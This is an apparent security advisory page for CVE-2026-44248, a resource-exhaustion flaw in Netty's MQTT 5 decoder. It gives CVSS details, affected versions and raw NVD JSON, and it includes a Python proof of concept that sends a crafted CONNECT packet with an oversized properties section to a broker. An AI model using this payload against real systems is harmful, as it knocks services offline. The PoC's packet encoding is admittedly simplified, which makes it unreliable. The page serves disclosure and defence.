Security Vulnerability Report
中文
CVE-2026-44248 CVSS 5.3 MEDIUM

CVE-2026-44248

Published: 2026-05-13 19:17:27
Last Modified: 2026-05-14 16:26:50

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Netty < 4.1.133.Final
Netty < 4.2.13.Final

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Conceptual Proof of Concept for CVE-2026-44248 # This script demonstrates how a crafted MQTT 5 packet with a large # Properties section can trigger resource exhaustion in vulnerable Netty versions. def send_malicious_packet(target_host, target_port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # MQTT 5 CONNECT Packet Structure (Simplified for PoC) # Fixed Header: Type (1) << 4 | Flags (0) = 0x10 fixed_header = bytes([0x10]) # Variable Header (Protocol Name 'MQTT', Level 5, Flags, Keep Alive) # ... (Standard MQTT 5 CONNECT header bytes) ... variable_header = b'\x00\x04MQTT\x05\x02\x00<' # Properties Length: Set to a large value (e.g., 0xFFFF) # This triggers the vulnerability as Netty tries to buffer this amount # before checking the max message size. properties_length = b'\xFF\xFF' # Dummy Properties Data: Padding to match the length # In a real scenario, this would be valid properties or just padding # causing the decoder to loop and buffer. payload = b'A' * 100000 # Assemble packet (Note: Remaining Length encoding is simplified here) packet = fixed_header + variable_header + properties_length + payload s.send(packet) print(f"[+] Malicious packet sent to {target_host}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage (requires a vulnerable Netty MQTT broker) # send_malicious_packet('127.0.0.1', 1883)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44248", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:27.143", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx", "source": "[email protected]"}]}}